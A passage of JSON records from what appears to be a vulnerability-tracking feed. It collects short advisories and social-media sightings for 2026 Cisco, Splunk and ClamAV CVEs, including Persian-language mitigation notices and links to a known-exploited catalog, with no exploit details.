\u0633\u0631\u06cc\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a. \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0647\u06a9\u0631 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc root \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u062e\u0627\u0635.\n\nBDU:2026-02531\nCVE-2026-20131\n\n\u0646\u0635\u0628 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0645\u0639\u062a\u0628\u0631. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0634\u0631\u0627\u06cc\u0637 \u0641\u0639\u0644\u06cc \u0648 \u062a\u062d\u0631\u06cc\u0645\u200c\u0647\u0627\u06cc \u0627\u0639\u0645\u0627\u0644\u200c\u0634\u062f\u0647 \u0639\u0644\u06cc\u0647 \u0641\u062f\u0631\u0627\u0633\u06cc\u0648\u0646 \u0631\u0648\u0633\u06cc\u0647\u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0641\u0642\u0637 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637\u060c \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627\u06cc \u0644\u0627\u06cc\u0647 \u0628\u0631\u0646\u0627\u0645\u06a9 (WAF) \u0628\u0631\u0627\u06cc \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0631\u062f\u0646 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0634\u0628\u06a9\u0647.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 \"\u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f\" (\u0641\u0642\u0637 \u0627\u062c\u0627\u0632\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0645\u0648\u0627\u0631\u062f \u0645\u0634\u062e\u0635\u200c\u0634\u062f\u0647).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc SIEM \u0628\u0631\u0627\u06cc \u0631\u062f\u06cc\u0627\u0628\u06cc \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 \u0641\u0639\u0627\u0644\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc root.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-rce-NKhnULJh\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-08-10T12:00:03.478055Z"}, {"uuid": "a15ffdea-349a-4606-9068-a0ae0aef5d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mowe7iydwb2a", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 28 interactions\nCVE-2026-20262: 23 interactions\nCVE-2026-54420: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-4020: 5 interactions\nCVE-2026-6645: 5 interactions\nCVE-2025-66336: 4 interactions\n", "creation_timestamp": "2026-06-23T02:30:31.787972Z"}, {"uuid": "e35ad5d4-0e86-422f-b542-807dc23e4b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3mowuxyhhn4j2", "content": "Splunk \u91cd\u5927\u6f0f\u6d1e\u906d\u5feb\u901f\u5229\u7528 CISA \u8981\u6c42\u806f\u90a6\u6a5f\u69cb\u4e09\u5929\u5167\u5b8c\u6210\u4fee\u88dc Splunk Enterprise\u91cd\u5927\u6f0f\u6d1eCVE-2026-20253\u5728\u516c\u958b\u5f8c\u6578\u65e5\u5373\u906d\u653b\u64ca\u8005\u5229\u7528\u3002CISA\u5df2\u5c07\u5176\u5217\u5165\u5df2\u77e5\u53d7...\n\n#\u65b0\u805e #\u8cc7\u8a0a\u5b89\u5168 #CISA #CVE-2026-20253 #\u9060\u7aef\u7a0b\u5f0f\u78bc\u57f7\u884c #KEV #PostgreSQL #sidecar #Splunk #Splunk #Cloud\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-23T07:30:36.600154Z"}, {"uuid": "303260c8-b43e-4860-af63-c24d242248eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1932", "content": "", "creation_timestamp": "2026-06-22T21:00:00.000000Z"}, {"uuid": "30fb4c93-1ff2-4b4d-a7e0-908b33ad8c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1932", "content": "", "creation_timestamp": "2026-06-22T21:00:00.000000Z"}, {"uuid": "b9389d0a-15d3-4f91-a930-303fa3e5bf38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/ics_cert/1414", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u062a\u0645\u0631\u06a9\u0632 \u0634\u0628\u06a9\u0647 Cisco Catalyst SD-WAN Manager \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u06a9\u0646\u062a\u0631\u0644 \u062a\u0631\u0627\u0641\u06cc\u06a9 Cisco Catalyst SD-WAN Controller\u060c \u0646\u0627\u0634\u06cc \u0627\u0632 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a. \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0647\u06a9\u0631 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u062e\u0627\u0635\u060c \u0628\u0647 \u0637\u0648\u0631 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.\n\nBDU:2026-02299\nCVE-2026-20127\n\n\u0646\u0635\u0628 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0645\u0639\u062a\u0628\u0631. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0634\u0631\u0627\u06cc\u0637 \u0641\u0639\u0644\u06cc \u0648 \u062a\u062d\u0631\u06cc\u0645\u200c\u0647\u0627\u06cc \u0627\u0639\u0645\u0627\u0644 \u0634\u062f\u0647 \u0639\u0644\u06cc\u0647 \u0641\u062f\u0631\u0627\u0633\u06cc\u0648\u0646 \u0631\u0648\u0633\u06cc\u0647\u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0641\u0642\u0637 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637\u060c \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u061b\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 \"\u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f\" (\u0641\u0642\u0637 \u0627\u062c\u0627\u0632\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0645\u062c\u0627\u0632).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc SIEM \u0628\u0631\u0627\u06cc \u0631\u062f\u06cc\u0627\u0628\u06cc \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647\u200c\u0627\u0646\u062f.\n- \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-08-10T12:00:03.707754Z"}, {"uuid": "970c2ea5-5645-4342-8355-adccee7ae734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3msq2glaumo2l", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-18577, CVE-2026-66066, CVE-2026-63077, CVE-2026-20200, CVE-2026-58048\nActors: Apt, Ransomware, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-08-10T12:00:19.648946Z"}, {"uuid": "7098a337-9bd6-4890-b362-de0bce9a9c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswt2srk2s2y", "content": "\ud83d\udccc CVE-2026-20267 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20267", "creation_timestamp": "2026-08-13T04:37:06.687400Z"}, {"uuid": "dfd96619-a2dc-4118-aa94-311d88bbb29f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3694768f-1754-4696-b592-bbf54084b670", "content": "", "creation_timestamp": "2026-06-23T14:02:57.353341Z"}, {"uuid": "017d49e7-73dc-47df-a09b-17e09a9b3185", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/217450ae-1eff-41d7-a95c-6e4b5272e4e4", "content": "", "creation_timestamp": "2026-06-23T14:02:57.576942Z"}, {"uuid": "37c0df73-2043-4a12-a16c-94cd56c7c978", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c9a420fa-a293-4d81-9a8e-50d81cd5a0e1", "content": "", "creation_timestamp": "2026-06-23T14:03:41.263637Z"}, {"uuid": "e34f0d12-1627-4dd9-867d-b05b58a8c685", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0421ac5f-f0ec-4ce1-9717-46c8488963c8", "content": "", "creation_timestamp": "2026-06-23T14:03:01.836027Z"}, {"uuid": "d461e597-64f4-4544-8244-c2374c9843d1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/58137f4e-5c1c-4a1d-be5f-f47b44e04ee6", "content": "", "creation_timestamp": "2026-06-23T14:03:39.388797Z"}, {"uuid": "61f079dd-4070-4812-a545-1230cecd8c7b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a432a19c-49e5-46bc-957f-64746d637ebb", "content": "", "creation_timestamp": "2026-06-23T14:03:39.525625Z"}, {"uuid": "42ad26d0-8adc-4c02-a11c-4687a01c6538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117047389521944925", "content": "CRITICAL vulnerabilities patched in Cisco SD-WAN, IOS XE, FMC, and IMC. FMC flaw (CVE-2026-20079, CVSS 10.0) allows remote root access; IMC PoC public. No active exploitation. Patch now: https://radar.offseq.com/threat/cisco-patches-critical-sd-wan-ios-xe-fmc-vulnerabilities-d0d83f67659b4d15 #OffSeq #Cisco #Vulnerability #PatchTuesday", "creation_timestamp": "2026-08-06T07:30:27.762514Z"}, {"uuid": "ed0a6a47-4e6c-4ec9-9471-051c6bd36fcb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1e8c85bd-17b4-49ad-8900-b3c641b94dad", "content": "", "creation_timestamp": "2026-06-23T14:03:41.354427Z"}, {"uuid": "28935868-c8cc-4e45-8cf7-55aaaa52f6c7", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/03e1f56c-1af9-479b-b2bf-ec469d115229", "content": "", "creation_timestamp": "2026-06-23T14:03:43.598025Z"}, {"uuid": "85086977-b3ff-4c40-bcf5-c5655e635ca3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7c8a32f4-f021-40d5-aa4e-568b637e420c", "content": "", "creation_timestamp": "2026-06-23T14:03:45.490527Z"}, {"uuid": "823a256c-7d90-4c53-9a0b-36918d3c1b23", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d2b6432d-f19c-4849-b070-a2a389d9510e", "content": "", "creation_timestamp": "2026-06-23T14:03:39.462650Z"}, {"uuid": "43568d3d-dbf7-4c74-9c9a-245fca690711", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d39bf300-2304-44a4-9042-16377f9d8792", "content": "", "creation_timestamp": "2026-06-23T14:03:42.554669Z"}, {"uuid": "4a09ebe0-314c-42cb-8ec9-230958d6a8fa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0fb3acd6-572e-4a94-b3ba-4bd4356e25e0", "content": "", "creation_timestamp": "2026-06-23T14:03:45.413478Z"}, {"uuid": "2a6fda16-b672-4183-acf2-a28709cc1623", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bf8dcb2e-f9c5-43ff-a81c-f8d0a812563a", "content": "", "creation_timestamp": "2026-06-23T14:03:56.224330Z"}, {"uuid": "fa4491dc-2598-4fdf-8dd9-2d289879cedd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "", "creation_timestamp": "2026-08-10T12:45:03.023137Z"}, {"uuid": "82419943-c998-4045-9f51-07c023d01507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "", "creation_timestamp": "2026-08-10T12:45:05.586713Z"}, {"uuid": "4544b12c-1ae4-48e0-bef9-36a653487eeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msfl6xfic22t", "content": "\ud83d\udfe0 CVE-2026-20313 - High (7.7)\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Cataly...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20313/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-06T08:01:00.678079Z"}, {"uuid": "3c612bec-8aeb-4ec7-a553-461611ae4c2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "", "creation_timestamp": "2026-08-10T12:45:08.001943Z"}, {"uuid": "abfd5687-8293-4209-bc53-ce73c5a0c96c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "", "creation_timestamp": "2026-08-10T12:45:12.781888Z"}, {"uuid": "1453d66a-9a7c-449b-b230-3c34f49db950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msfl75tizw2n", "content": "\ud83d\udd34 CVE-2026-20310 - Critical (9.1)\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Cataly...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20310/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-06T08:01:07.175342Z"}, {"uuid": "6bed8bc4-e496-44a4-a6b9-1298e4ef3a93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "", "creation_timestamp": "2026-08-10T12:45:10.448667Z"}, {"uuid": "17f2036b-d168-49fd-ba92-3438f72da6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20301", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msfl7ebxix2b", "content": "\ud83d\udfe0 CVE-2026-20301 - High (8.6)\n\nA vulnerability in the Extensible Messaging Client Protocol (XMCP), also referred to as the 